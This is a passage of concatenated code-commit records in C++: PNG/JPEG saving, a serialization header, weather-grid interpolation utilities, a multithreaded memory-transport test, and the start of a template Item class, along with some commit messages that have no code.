png_voidp error_ptr=0;\n        png_structp png_ptr=png_create_write_struct(PNG_LIBPNG_VER_STRING,\n                                                    error_ptr,0, 0);\n\n        if (!png_ptr) return;\n\n        \/\/ switch on optimization only if supported\n#if defined(PNG_LIBPNG_VER) && (PNG_LIBPNG_VER >= 10200) && defined(PNG_MMX_CODE_SUPPORTED)\n        png_uint_32 mask, flags;\n\n        flags = png_get_asm_flags(png_ptr);\n        mask = png_get_asm_flagmask(PNG_SELECT_READ | PNG_SELECT_WRITE);\n        png_set_asm_flags(png_ptr, flags | mask);\n#endif\n        png_set_filter (png_ptr, 0, PNG_FILTER_NONE);\n        png_infop info_ptr = png_create_info_struct(png_ptr);\n        if (!info_ptr)\n        {\n            png_destroy_write_struct(&png_ptr,(png_infopp)0);\n            fclose(fp);\n            return;\n        }\n        if (setjmp(png_jmpbuf(png_ptr)))\n        {\n            png_destroy_write_struct(&png_ptr, &info_ptr);\n            fclose(fp);\n            return;\n        }\n\n        png_init_io(png_ptr, fp);\n        \/\/png_set_compression_level(png_ptr, Z_BEST_COMPRESSION);\n        \/\/png_set_compression_strategy(png_ptr, Z_FILTERED);\n        png_set_IHDR(png_ptr, info_ptr,image.width(),image.height(),8,\n                     PNG_COLOR_TYPE_RGB_ALPHA,PNG_INTERLACE_NONE,\n                     PNG_COMPRESSION_TYPE_DEFAULT,PNG_FILTER_TYPE_DEFAULT);\n        png_write_info(png_ptr, info_ptr);\n        for (unsigned i=0;i<image.height();i++)\n        {\n            png_write_row(png_ptr,(png_bytep)image.getRow(i));\n        }\n\n        png_write_end(png_ptr, info_ptr);\n        png_destroy_write_struct(&png_ptr, &info_ptr);\n        fclose(fp);\n    }\n    \n    template <typename T>\n    void save_as_jpeg(std::string const& filename,int quality, T const& image)\n    {\n        FILE *fp=fopen(filename.c_str(), \"wb\");\n        if (!fp) return;\n        struct jpeg_compress_struct cinfo;\n        struct jpeg_error_mgr jerr;\n\n        int width=image.width();\n        int height=image.height();\n\t\n        cinfo.err = jpeg_std_error(&jerr);\n        jpeg_create_compress(&cinfo);\n        jpeg_stdio_dest(&cinfo, fp);\n        cinfo.image_width = width;\n        cinfo.image_height = height;\n        cinfo.input_components = 3;\n        cinfo.in_color_space = JCS_RGB; \n        jpeg_set_defaults(&cinfo);\n        jpeg_set_quality(&cinfo, quality,1);\n        jpeg_start_compress(&cinfo, 1);\n        JSAMPROW row_pointer[1];\n        JSAMPLE* row=new JSAMPLE[width*3];\n        \n        while (cinfo.next_scanline < cinfo.image_height) \n        {\n            const unsigned* imageRow=image.getRow(cinfo.next_scanline);\n            int index=0;\n            for (int i=0;i<width;++i)\n            {\n                row[index++]=(imageRow[i])&0xff;\n                row[index++]=(imageRow[i]>>8)&0xff;\n                row[index++]=(imageRow[i]>>16)&0xff;\n            }\n            row_pointer[0] = &row[0];\n            (void) jpeg_write_scanlines(&cinfo, row_pointer, 1);\n        }\n        delete [] row;\n        jpeg_finish_compress(&cinfo);\n        fclose(fp);\n        jpeg_destroy_compress(&cinfo);\n    }  \n    \n    template void save_to_file<ImageData32>(std::string const&,\n                                            std::string const& , \n                                            ImageData32 const&);\n\n    template void save_to_file<image_view<ImageData32> > (std::string const&,\n                                                          std::string const& , \n                                                          image_view<ImageData32> const&);\n    \n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <fstream>\n#include <string>\n\nnamespace rltk {\n\ntemplate<class T>\ninline void serialize(std::ostream &lbfile, const T &target) {\n\tlbfile.write(reinterpret_cast<const char *>(&target), sizeof(target));\n}\ntemplate<>\ninline void serialize(std::ostream &lbfile, const std::string &target) {\n\tstd::size_t size = target.size();\n\tserialize<std::size_t>(lbfile, size);\n\tfor (std::size_t i = 0; i < size; ++i)\n\t{\n\t\tserialize<char>(lbfile, target[i]);\n\t}\n}\n\ntemplate<typename T>\ninline void deserialize(std::istream &lbfile, T &target)\n{\n\tlbfile.read(reinterpret_cast<char *>(&target), sizeof(target));\n}\ntemplate<>\ninline void deserialize(std::istream &lbfile, std::string &target)\n{\n\tstd::string result;\n\tstd::size_t size = 0;\n\tdeserialize<std::size_t>(lbfile, size);\n\tfor (std::size_t i = 0; i < size; ++i)\n\t{\n\t\tchar c;\n\t\tdeserialize<char>(lbfile, c);\n\t\tresult += c;\n\t}\n\ttarget = result;\n}\n\n}<commit_msg>Add specialized template for color_t serialization<commit_after>#pragma once\n\n#include <fstream>\n#include <string>\n#include <rltk.hpp>\n\nnamespace rltk {\n\ntemplate<class T>\ninline void serialize(std::ostream &lbfile, const T &target) {\n\tlbfile.write(reinterpret_cast<const char *>(&target), sizeof(target));\n}\ntemplate<>\ninline void serialize(std::ostream &lbfile, const std::string &target) {\n\tstd::size_t size = target.size();\n\tserialize<std::size_t>(lbfile, size);\n\tfor (std::size_t i = 0; i < size; ++i)\n\t{\n\t\tserialize<char>(lbfile, target[i]);\n\t}\n}\ntemplate<>\ninline void serialize(std::ostream &lbfile, const rltk::color_t &col) {\n\tserialize<uint8_t>(lbfile, col.r);\n\tserialize<uint8_t>(lbfile, col.g);\n\tserialize<uint8_t>(lbfile, col.b);\n}\n\ntemplate<typename T>\ninline void deserialize(std::istream &lbfile, T &target)\n{\n\tlbfile.read(reinterpret_cast<char *>(&target), sizeof(target));\n}\ntemplate<>\ninline void deserialize(std::istream &lbfile, std::string &target)\n{\n\tstd::string result;\n\tstd::size_t size = 0;\n\tdeserialize<std::size_t>(lbfile, size);\n\tfor (std::size_t i = 0; i < size; ++i)\n\t{\n\t\tchar c;\n\t\tdeserialize<char>(lbfile, c);\n\t\tresult += c;\n\t}\n\ttarget = result;\n}\ntemplate<>\ninline void deserialize(std::istream &lbfile, rltk::color_t &target) {\n\tdeserialize(lbfile, target.r);\n\tdeserialize(lbfile, target.g);\n\tdeserialize(lbfile, target.b);\n}\n\n}<|endoftext|>"}
{"text":"<commit_before><commit_msg>Move \"Delete current pattern\" to drop-down menu<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>host-condition: implement property read<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"NFmiDataMatrixUtils.h\"\r\n#include \"NFmiQueryDataUtil.h\"\r\n#include \"NFmiInterpolation.h\"\r\n\r\nnamespace\r\n{\r\n    double FixIndexOnEdges(double index, size_t matrixSize)\r\n    {\r\n        const double epsilon = 0.000001;\r\n        if(index < 0 && NFmiQueryDataUtil::IsEqualEnough(index, 0., epsilon))\r\n            index = 0;\r\n        else\r\n        {\r\n            double xMaxLimit = matrixSize - 1.;\r\n            if(index >= xMaxLimit && NFmiQueryDataUtil::IsEqualEnough(index, xMaxLimit, epsilon))\r\n                index = xMaxLimit - epsilon;\r\n        }\r\n        return index;\r\n    }\r\n}\r\n\r\nnamespace DataMatrixUtils\r\n{\r\n    \/\/ Tämä funktio laskee interpoloidun arvon matriisin datasta.\r\n    \/\/ Annettu piste on halutussa suhteellisessa koordinaatistossa (esim. 0,0  -  1,1 maailmassa)\r\n    \/\/ ja kyseinen koordinaatisto (rect-olio) pitää antaa parametrina.\r\n    \/\/ HUOM! rect-olio ja matriisi ovat y-akselin suhteen käänteisiä!\r\n    float InterpolatedValue(const NFmiDataMatrix<float>& m, const NFmiPoint& thePoint,\r\n        const NFmiRect& theRelativeCoords,\r\n        FmiParameterName theParamId,\r\n        bool fDontInvertY,\r\n        FmiInterpolationMethod interp)\r\n    {\r\n        float value = kFloatMissing;\r\n        double xInd =\r\n            ((m.NX() - 1) * (thePoint.X() - theRelativeCoords.Left())) \/ theRelativeCoords.Width();\r\n        \/\/ yInd-laskussa pitää y-akseli kääntää\r\n        double yInd =\r\n            fDontInvertY\r\n            ? ((m.NY() - 1) * (thePoint.Y() - theRelativeCoords.Top())) \/ theRelativeCoords.Height()\r\n            : ((m.NY() - 1) *\r\n            (theRelativeCoords.Height() - (thePoint.Y() - theRelativeCoords.Top()))) \/\r\n            theRelativeCoords.Height();\r\n        \/\/ xInd ja yInd voivat mennä juuri pikkuisen yli rajojen ja laskut menevät muuten pieleen, mutta\r\n        \/\/ tässä korjataan indeksejä juuri pikkuisen, että laskut menevät näissä tapauksissa läpi ja\r\n        \/\/ riittävän oikein arvoin.\r\n        xInd = ::FixIndexOnEdges(xInd, m.NX());\r\n        yInd = ::FixIndexOnEdges(yInd, m.NY());\r\n\r\n        int x1 = static_cast<int>(std::floor(xInd));\r\n        int y1 = static_cast<int>(std::floor(yInd));\r\n        int x2 = x1 + 1;\r\n        int y2 = y1 + 1;\r\n        if(x1 >= 0 && x2 < static_cast<int>(m.NX()) && y1 >= 0 && y2 < static_cast<int>(m.NY()))\r\n        {  \/\/ lasketaan tulos vain jos ollaan matriisin sisällä, tähän voisi reunoille laskea erikois\r\n           \/\/ arvoja jos haluaa\r\n            double xFraction = xInd - x1;\r\n            double yFraction = yInd - y1;\r\n            if(interp == kNearestPoint)\r\n                return m.At(FmiRound(xInd), FmiRound(yInd));\r\n            else\r\n            {\r\n                if(theParamId == kFmiWindDirection || theParamId == kFmiWaveDirection)\r\n                    value = static_cast<float>(NFmiInterpolation::ModBiLinear(\r\n                        xFraction, yFraction, m.At(x1, y2), m.At(x2, y2), m.At(x1, y1), m.At(x2, y1), 360));\r\n                else if(theParamId == kFmiWindVectorMS)\r\n                    value = static_cast<float>(NFmiInterpolation::WindVector(\r\n                        xFraction, yFraction, m.At(x1, y2), m.At(x2, y2), m.At(x1, y1), m.At(x2, y1)));\r\n                else\r\n                    value = static_cast<float>(NFmiInterpolation::BiLinear(\r\n                        xFraction, yFraction, m.At(x1, y2), m.At(x2, y2), m.At(x1, y1), m.At(x2, y1)));\r\n            }\r\n        }\r\n        return value;\r\n    }\r\n\r\n    void PrettyPrint(std::ostream& s, const NFmiDataMatrix<float>& m, bool printYInverted, bool printIndexAxies)\r\n    {\r\n        typedef typename NFmiDataMatrix<float>::size_type sz_type;\r\n        sz_type rows = m.NY();\r\n        sz_type columns = m.NX();\r\n\r\n        s << static_cast<unsigned int>(columns) << \" \" << static_cast<unsigned int>(rows) << std::endl;\r\n\r\n        if(printYInverted == false)\r\n        {\r\n            for(sz_type j = 0; j < rows; j++)\r\n            {\r\n                for(sz_type i = 0; i < columns; i++)\r\n                    s << m[i][j] << \" \";\r\n                s << std::endl;\r\n            }\r\n        }\r\n        else\r\n        {  \/\/ tulostus käänteisessä rivi-järjestyksessä\r\n            for(sz_type j = rows - 1; j >= 0; j--)\r\n            {\r\n                if(printIndexAxies) s << j << \"\\t\";\r\n                for(sz_type i = 0; i < columns; i++)\r\n                    s << m[i][j] << \" \";\r\n                s << std::endl;\r\n\r\n                if(j == 0)  \/\/ luulen että koska j on unsigned tyyppinen, pitää tässä tarkastella 0-riviä,\r\n                             \/\/ koska for-loopissa j-- lauseke ei ikinä vie j:n arvoa negatiiviseksi\r\n                             \/\/ (kierähtää 0:sta tosi isoksi luvuksi)\r\n                {\r\n                    if(printIndexAxies)\r\n                    {\r\n                        for(sz_type i = 0; i < columns; i++)\r\n                            s << i << \" \";\r\n                    }\r\n                    break;\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n}\r\n<commit_msg>Fixed eternal loop<commit_after>#include \"NFmiDataMatrixUtils.h\"\r\n#include \"NFmiInterpolation.h\"\r\n#include \"NFmiQueryDataUtil.h\"\r\n\r\nnamespace\r\n{\r\ndouble FixIndexOnEdges(double index, size_t matrixSize)\r\n{\r\n  const double epsilon = 0.000001;\r\n  if (index < 0 && NFmiQueryDataUtil::IsEqualEnough(index, 0., epsilon))\r\n    index = 0;\r\n  else\r\n  {\r\n    double xMaxLimit = matrixSize - 1.;\r\n    if (index >= xMaxLimit && NFmiQueryDataUtil::IsEqualEnough(index, xMaxLimit, epsilon))\r\n      index = xMaxLimit - epsilon;\r\n  }\r\n  return index;\r\n}\r\n}  \/\/ namespace\r\n\r\nnamespace DataMatrixUtils\r\n{\r\n\/\/ Tämä funktio laskee interpoloidun arvon matriisin datasta.\r\n\/\/ Annettu piste on halutussa suhteellisessa koordinaatistossa (esim. 0,0  -  1,1 maailmassa)\r\n\/\/ ja kyseinen koordinaatisto (rect-olio) pitää antaa parametrina.\r\n\/\/ HUOM! rect-olio ja matriisi ovat y-akselin suhteen käänteisiä!\r\nfloat InterpolatedValue(const NFmiDataMatrix<float>& m,\r\n                        const NFmiPoint& thePoint,\r\n                        const NFmiRect& theRelativeCoords,\r\n                        FmiParameterName theParamId,\r\n                        bool fDontInvertY,\r\n                        FmiInterpolationMethod interp)\r\n{\r\n  float value = kFloatMissing;\r\n  double xInd =\r\n      ((m.NX() - 1) * (thePoint.X() - theRelativeCoords.Left())) \/ theRelativeCoords.Width();\r\n  \/\/ yInd-laskussa pitää y-akseli kääntää\r\n  double yInd =\r\n      fDontInvertY\r\n          ? ((m.NY() - 1) * (thePoint.Y() - theRelativeCoords.Top())) \/ theRelativeCoords.Height()\r\n          : ((m.NY() - 1) *\r\n             (theRelativeCoords.Height() - (thePoint.Y() - theRelativeCoords.Top()))) \/\r\n                theRelativeCoords.Height();\r\n  \/\/ xInd ja yInd voivat mennä juuri pikkuisen yli rajojen ja laskut menevät muuten pieleen, mutta\r\n  \/\/ tässä korjataan indeksejä juuri pikkuisen, että laskut menevät näissä tapauksissa läpi ja\r\n  \/\/ riittävän oikein arvoin.\r\n  xInd = ::FixIndexOnEdges(xInd, m.NX());\r\n  yInd = ::FixIndexOnEdges(yInd, m.NY());\r\n\r\n  int x1 = static_cast<int>(std::floor(xInd));\r\n  int y1 = static_cast<int>(std::floor(yInd));\r\n  int x2 = x1 + 1;\r\n  int y2 = y1 + 1;\r\n  if (x1 >= 0 && x2 < static_cast<int>(m.NX()) && y1 >= 0 && y2 < static_cast<int>(m.NY()))\r\n  {  \/\/ lasketaan tulos vain jos ollaan matriisin sisällä, tähän voisi reunoille laskea erikois\r\n     \/\/ arvoja jos haluaa\r\n    double xFraction = xInd - x1;\r\n    double yFraction = yInd - y1;\r\n    if (interp == kNearestPoint)\r\n      return m.At(FmiRound(xInd), FmiRound(yInd));\r\n    else\r\n    {\r\n      if (theParamId == kFmiWindDirection || theParamId == kFmiWaveDirection)\r\n        value = static_cast<float>(NFmiInterpolation::ModBiLinear(\r\n            xFraction, yFraction, m.At(x1, y2), m.At(x2, y2), m.At(x1, y1), m.At(x2, y1), 360));\r\n      else if (theParamId == kFmiWindVectorMS)\r\n        value = static_cast<float>(NFmiInterpolation::WindVector(\r\n            xFraction, yFraction, m.At(x1, y2), m.At(x2, y2), m.At(x1, y1), m.At(x2, y1)));\r\n      else\r\n        value = static_cast<float>(NFmiInterpolation::BiLinear(\r\n            xFraction, yFraction, m.At(x1, y2), m.At(x2, y2), m.At(x1, y1), m.At(x2, y1)));\r\n    }\r\n  }\r\n  return value;\r\n}\r\n\r\nvoid PrettyPrint(std::ostream& s,\r\n                 const NFmiDataMatrix<float>& m,\r\n                 bool printYInverted,\r\n                 bool printIndexAxies)\r\n{\r\n  typedef typename NFmiDataMatrix<float>::size_type sz_type;\r\n  sz_type rows = m.NY();\r\n  sz_type columns = m.NX();\r\n\r\n  s << static_cast<unsigned int>(columns) << \" \" << static_cast<unsigned int>(rows) << std::endl;\r\n\r\n  if (printYInverted == false)\r\n  {\r\n    for (sz_type j = 0; j < rows; j++)\r\n    {\r\n      for (sz_type i = 0; i < columns; i++)\r\n        s << m[i][j] << \" \";\r\n      s << std::endl;\r\n    }\r\n  }\r\n  else\r\n  {  \/\/ tulostus käänteisessä rivi-järjestyksessä\r\n    for (long j = rows - 1; j >= 0; j--)\r\n    {\r\n      if (printIndexAxies) s << j << \"\\t\";\r\n      for (sz_type i = 0; i < columns; i++)\r\n        s << m[i][j] << \" \";\r\n      s << std::endl;\r\n\r\n      if (j == 0)  \/\/ luulen että koska j on unsigned tyyppinen, pitää tässä tarkastella 0-riviä,\r\n                   \/\/ koska for-loopissa j-- lauseke ei ikinä vie j:n arvoa negatiiviseksi\r\n                   \/\/ (kierähtää 0:sta tosi isoksi luvuksi)\r\n      {\r\n        if (printIndexAxies)\r\n        {\r\n          for (sz_type i = 0; i < columns; i++)\r\n            s << i << \" \";\r\n        }\r\n        break;\r\n      }\r\n    }\r\n  }\r\n}\r\n\r\n}  \/\/ namespace DataMatrixUtils\r\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Improve the arg_order test just a little bit<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"targetver.h\"\n#include \"spipc.h\"\n\n#include <stdio.h>\n#include <tchar.h>\n#include <thread>\n\nnamespace spipc { namespace testing {\nclass Memory_Transport: public sprot::Transport_Interface\n{\n    public:\n\n        Memory_Transport();\n        virtual size_t read(void* buf, size_t buf_size, size_t timeout = infinite_wait);\n        virtual size_t write(const void* buf, size_t buf_size, size_t timeout = infinite_wait);\n\n    private:\n\n        std::vector <unsigned char> buf_;\n        static const size_t buf_reserve_ = 1024 * 1024;\n        std::recursive_mutex write_protector_;\n        std::condition_variable data_available_;\n        std::condition_variable buffer_empty_;\n\n        void reset();\n};\n\nMemory_Transport::Memory_Transport()\n{\n    reset();\n}\n\nvoid Memory_Transport::reset()\n{\n    std::vector<unsigned char> empty;\n    buf_.swap(empty);\n    buf_.reserve(buf_reserve_);\n}\n\nsize_t Memory_Transport::write(const void* buf, size_t buf_size, size_t timeout)\n{\n    std::lock_guard<std::recursive_mutex> lock(write_protector_);\n    static std::mutex mutex;\n    std::unique_lock<std::mutex> buffer_empty_lock(mutex);\n\n    if (buf_.size() != 0)\n        buffer_empty_.wait(buffer_empty_lock);\n\n    buf_.insert(buf_.end(), (unsigned char*)buf, (unsigned char*)buf + buf_size);\n    data_available_.notify_all();\n    return buf_size;\n}\n\nsize_t Memory_Transport::read(void* buf, size_t buf_size, size_t timeout)\n{\n    static std::mutex mutex;\n    std::unique_lock<std::mutex> data_avail_lock(mutex);\n\n    data_available_.wait(data_avail_lock);\n\n    size_t read_bytes = buf_size > buf_.size() ? buf_.size() : buf_size;\n    memcpy(buf, &(buf_[0]), read_bytes);\n    buf_.resize(0);\n\n    buffer_empty_.notify_all();\n\n    return read_bytes;\n}\n\nstd::recursive_mutex g_test_mutex;\nstd::vector<std::string> g_written_items;\n\nvoid th1_mem_trans_test(Memory_Transport* trans)\n{\n    static unsigned counter = 0;\n    srand(std::this_thread::get_id().hash());\n\n    std::vector<std::string> written_items;\n\n    while (counter++ < 10)\n    {\n        int rnd_sz = 1 + rand() % 12;\n    \n        std::vector<char> to_write;\n        for (int i = 0; i < rnd_sz; ++i)\n            to_write.push_back(65 + rand() % 20);\n        to_write.push_back(0);\n\n        char* write_buf = &(*to_write.begin());\n        printf(\"Writing: %s (%d bytes)\\n\", write_buf, rnd_sz + 1);\n\n        trans->write(write_buf, rnd_sz + 1);\n        written_items.push_back(write_buf);\n\n        \/\/std::this_thread::sleep_for(std::chrono::seconds(1));\n    }\n\n    std::lock_guard<std::recursive_mutex> lock(g_test_mutex);\n    g_written_items.insert(g_written_items.end(), written_items.begin(), written_items.end());\n}\n\nstd::vector<std::string> g_read_items;\n\nvoid th2_mem_trans_test(Memory_Transport* trans)\n{\n    static unsigned counter = 0;\n    srand(std::this_thread::get_id().hash());\n    \n    std::vector<std::string> read_items;\n\n    while (counter++ < 10)\n    {\n        char read_buf[256];\n        memset(read_buf, 0, sizeof(read_buf));\n        trans->read(read_buf, sizeof(read_buf));\n\n        read_items.push_back(read_buf);\n        printf(\"Reading: %s\\n\", read_buf);\n\n        \/\/std::this_thread::sleep_for(std::chrono::seconds(1));\n    }\n\n    std::lock_guard<std::recursive_mutex> lock(g_test_mutex);\n    g_read_items.insert(g_read_items.end(), read_items.begin(), read_items.end());\n}\n\nbool N_threads_mem_transport_test()\n{\n    Memory_Transport trans;\n\n    std::thread writer(th1_mem_trans_test, &trans);\n    std::thread reader(th2_mem_trans_test, &trans);\n\n    writer.join();\n    reader.join();\n\n    if (g_read_items.size() != g_written_items.size())\n    {\n        printf(\"ERROR: number of read items != number of written items.\");\n        return false;\n    }\n\n    if (g_read_items.size() == 0)\n    {\n        printf(\"ERROR: number of read items is 0.\");\n        return false;\n    }\n\n    for (std::vector<std::string>::iterator i = g_written_items.begin(); i != g_written_items.end();)\n    {\n        for (std::vector<std::string>::iterator j = g_read_items.begin(); j != g_read_items.end();)\n        {\n            if (*i == *j)\n            {\n                g_written_items.erase(i);\n                g_read_items.erase(j);\n\n                i = g_written_items.begin();\n                j = g_read_items.begin();\n            }\n            else\n            {\n                ++i;\n                ++j;\n            }\n        }\n    }\n\n    if (g_read_items.size() != g_written_items.size())\n    {\n        printf(\"ERROR: there was a corruption during read\/write because not all written items were read.\\n\");\n        \n        printf(\"Leftovers in g_read_items:\\n\");\n        for (size_t i = 0; i < g_read_items.size(); ++i)\n            printf(\"%s \", g_read_items[i].c_str());\n\n        printf(\"\\nLeftovers in g_written_items:\\n\");\n        for (size_t i = 0; i < g_written_items.size(); ++i)\n            printf(\"%s \", g_written_items[i].c_str());\n        printf(\"\\n\");\n\n        return false;\n    }\n\n    if (g_read_items.size() != 0)\n    {\n        printf(\"ERROR: read\/write problem detected.\\n\");\n\n        printf(\"Leftovers in g_read_items:\\n\");\n        for (size_t i = 0; i < g_read_items.size(); ++i)\n            printf(\"%s \", g_read_items[i].c_str());\n\n        printf(\"\\nLeftovers in g_written_items:\\n\");\n        for (size_t i = 0; i < g_written_items.size(); ++i)\n            printf(\"%s \", g_written_items[i].c_str());\n        printf(\"\\n\");\n\n        return false;\n    }\n\n    return true;\n}\n\nvoid run_all_tests()\n{\n    if (!N_threads_mem_transport_test())\n        printf(\"N_threads_mem_transport_test failed.\\n\");\n        \n    printf(\"tests finished OK.\\n\");\n}\n\n}};\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n    spipc::testing::run_all_tests();\n\treturn 0;\n}\n<commit_msg>Fixed race conditions \/ deadlocks, extended mem trans test.<commit_after>#include \"targetver.h\"\n#include \"spipc.h\"\n\n#include <stdio.h>\n#include <tchar.h>\n#include <thread>\n#include <atomic>\n\nnamespace spipc { namespace testing {\nclass Memory_Transport: public sprot::Transport_Interface\n{\n    public:\n\n        Memory_Transport();\n        virtual size_t read(void* buf, size_t buf_size, size_t timeout = infinite_wait);\n        virtual size_t write(const void* buf, size_t buf_size, size_t timeout = infinite_wait);\n\n    private:\n\n        std::vector <unsigned char> buf_;\n        static const size_t buf_reserve_ = 1024 * 1024;\n        std::mutex condition_mutex_;\n        std::condition_variable data_available_;\n        std::condition_variable buffer_empty_;\n\n        void reset();\n};\n\nMemory_Transport::Memory_Transport()\n{\n    reset();\n}\n\nvoid Memory_Transport::reset()\n{\n    std::lock_guard<std::mutex> lock(condition_mutex_);\n\n    std::vector<unsigned char> empty;\n    buf_.swap(empty);\n    buf_.reserve(buf_reserve_);\n}\n\nsize_t Memory_Transport::write(const void* buf, size_t buf_size, size_t timeout)\n{\n    std::unique_lock<std::mutex> lock(condition_mutex_);\n\n    while (buf_.size() != 0)\n        if (buffer_empty_.wait_for(lock, std::chrono::milliseconds(timeout)) == std::cv_status::timeout)\n        {\n            data_available_.notify_all();\n            return 0;\n        }\n\n    buf_.insert(buf_.end(), (unsigned char*)buf, (unsigned char*)buf + buf_size);\n    data_available_.notify_all();\n\n    return buf_size;\n}\n\nsize_t Memory_Transport::read(void* buf, size_t buf_size, size_t timeout)\n{\n    std::unique_lock<std::mutex> lock(condition_mutex_);\n\n    while (buf_.size() == 0)\n        if (data_available_.wait_for(lock, std::chrono::milliseconds(timeout)) == std::cv_status::timeout)\n        {\n            buffer_empty_.notify_all();\n            return 0;\n        }\n\n    size_t read_bytes = buf_size > buf_.size() ? buf_.size() : buf_size;\n    memcpy(buf, &(buf_[0]), read_bytes);\n    buf_.resize(0);\n    buffer_empty_.notify_all();\n\n    return read_bytes;\n}\n\nstd::recursive_mutex g_test_mutex;\nstd::vector<std::string> g_written_items;\n\nvoid th1_mem_trans_test(Memory_Transport* trans)\n{\n    srand(std::this_thread::get_id().hash());\n\n    std::vector<std::string> written_items;\n    static std::atomic_int counter{0};\n    while (counter++ < 100000)\n    {\n        int rnd_sz = 1 + rand() % 12;\n    \n        std::vector<char> to_write;\n        for (int i = 0; i < rnd_sz; ++i)\n            to_write.push_back(65 + rand() % 20);\n        to_write.push_back(0);\n\n        char* write_buf = &(*to_write.begin());\n        \/\/printf(\"Writing: %s (%d bytes)\\n\", write_buf, rnd_sz + 1);\n\n        trans->write(write_buf, rnd_sz + 1);\n        written_items.push_back(write_buf);\n\n        \/\/std::this_thread::sleep_for(std::chrono::seconds(1));\n    }\n\n    std::lock_guard<std::recursive_mutex> lock(g_test_mutex);\n    g_written_items.insert(g_written_items.end(), written_items.begin(), written_items.end());\n}\n\nstd::vector<std::string> g_read_items;\n\/\/volatile bool g_stop_reading = false;\n\nvoid th2_mem_trans_test(Memory_Transport* trans)\n{\n    static std::atomic_int counter{0};\n    srand(std::this_thread::get_id().hash());\n    \n    std::vector<std::string> read_items;\n\n    while (counter++ < 100000)\n    {\n        char read_buf[256];\n        memset(read_buf, 0, sizeof(read_buf));\n        trans->read(read_buf, sizeof(read_buf), 1000);\n\n        \/\/if (g_stop_reading)\n            \/\/break;\n\n        read_items.push_back(read_buf);\n        \/\/printf(\"Reading: %s\\n\", read_buf);\n\n        \/\/std::this_thread::sleep_for(std::chrono::seconds(1));\n    }\n\n    std::lock_guard<std::recursive_mutex> lock(g_test_mutex);\n    g_read_items.insert(g_read_items.end(), read_items.begin(), read_items.end());\n}\n\nbool N_threads_mem_transport_test()\n{\n    Memory_Transport trans;\n\n    std::thread writer(th1_mem_trans_test, &trans);\n    std::thread reader(th2_mem_trans_test, &trans);\n    std::thread writer2(th1_mem_trans_test, &trans);\n    std::thread reader2(th2_mem_trans_test, &trans);\n    std::thread writer3(th1_mem_trans_test, &trans);\n    std::thread reader3(th2_mem_trans_test, &trans);\n    std::thread writer4(th1_mem_trans_test, &trans);\n    std::thread writer5(th1_mem_trans_test, &trans);\n    std::thread writer6(th1_mem_trans_test, &trans);\n\n    writer.join();\n    writer2.join();\n    writer3.join();\n    writer4.join();\n    writer5.join();\n    writer6.join();\n\n    \/\/g_stop_reading = true;\n\n    reader.join();\n    reader2.join();\n    reader3.join();\n\n    if (g_read_items.size() != g_written_items.size())\n    {\n        printf(\"ERROR: number of read items (%u) != number of written items (%u).\", g_read_items.size(), g_written_items.size());\n        return false;\n    }\n\n    if (g_read_items.size() == 0)\n    {\n        printf(\"ERROR: number of read items is 0.\");\n        return false;\n    }\n\n    for (std::vector<std::string>::iterator i = g_written_items.begin(); i != g_written_items.end();)\n    {\n        bool increment_i = true;\n\n        for (std::vector<std::string>::iterator j = g_read_items.begin(); j != g_read_items.end();)\n        {\n            if (*i == *j)\n            {\n                g_written_items.erase(i);\n                g_read_items.erase(j);\n\n                i = g_written_items.begin();\n                increment_i = false;\n\n                break;\n            }\n\n            ++j;\n        }\n\n        if (increment_i)\n            ++i;\n    }\n\n    if (g_read_items.size() != g_written_items.size())\n    {\n        printf(\"ERROR: there was a corruption during read\/write because not all written items were read.\\n\");\n        \n        printf(\"Leftovers in g_read_items:\\n\");\n        for (size_t i = 0; i < g_read_items.size(); ++i)\n            printf(\"%s \", g_read_items[i].c_str());\n\n        printf(\"\\nLeftovers in g_written_items:\\n\");\n        for (size_t i = 0; i < g_written_items.size(); ++i)\n            printf(\"%s \", g_written_items[i].c_str());\n        printf(\"\\n\");\n\n        return false;\n    }\n\n    if (g_read_items.size() != 0)\n    {\n        printf(\"ERROR: read\/write problem detected.\\n\");\n\n        printf(\"Leftovers in g_read_items:\\n\");\n        for (size_t i = 0; i < g_read_items.size(); ++i)\n            printf(\"%s \", g_read_items[i].c_str());\n\n        printf(\"\\nLeftovers in g_written_items:\\n\");\n        for (size_t i = 0; i < g_written_items.size(); ++i)\n            printf(\"%s \", g_written_items[i].c_str());\n        printf(\"\\n\");\n\n        return false;\n    }\n\n    return true;\n}\n\nvoid run_all_tests()\n{\n    if (!N_threads_mem_transport_test())\n        printf(\"N_threads_mem_transport_test failed.\\n\");\n        \n    printf(\"tests finished OK.\\n\");\n}\n\n}};\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n    spipc::testing::run_all_tests();\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include \"ItemBase.hpp\"\n\n#include <utility>\n#include <envire_core\/serialization\/SerializationRegistration.hpp>\n\n#ifdef CMAKE_ENABLE_PLUGINS\n  #include <envire_core\/plugin\/Plugin.hpp>\n#endif\n\nnamespace envire { namespace core\n{\n\n    \/**@class Item\n    *\n    * Item class\n    *\/\n    template<class _ItemData>\n    class Item : public ItemBase\n    {\n    public:\n        typedef boost::shared_ptr< Item<_ItemData> > Ptr;\n        typedef _ItemData TemplateType;\n\n    protected:\n\n        _ItemData user_data;\n\n    public:\n\n        Item() : ItemBase()\n        {\n            user_data_ptr = &user_data;\n        }\n\n        Item(const Item<_ItemData>& item) :  ItemBase(item), user_data(item.user_data)\n        {\n            user_data_ptr = &this->user_data;\n        }\n\n        Item(Item<_ItemData>&& item) :  ItemBase(item), user_data(std::move(item.user_data))\n        {\n            user_data_ptr = &this->user_data;\n        }\n\n        template <typename... Ts>\n        Item(Ts&&... args) : ItemBase(), user_data(std::forward<Ts>(args)...)\n        {\n            user_data_ptr = &user_data;\n        }\n\n        virtual ~Item() {}\n\n        Item<_ItemData>& operator=(const Item<_ItemData>& item)\n        {\n            ItemBase::operator=(item);\n            user_data = item.user_data;\n            return *this;\n        }\n\n        Item<_ItemData>& operator=(Item<_ItemData>&& item)\n        {\n            ItemBase::operator=(item);\n            user_data = std::move(item.user_data);\n            return *this;\n        }\n\n        \/**@brief setData\n        *\n        * Sets the user data\n        *\n        *\/\n        void setData(const 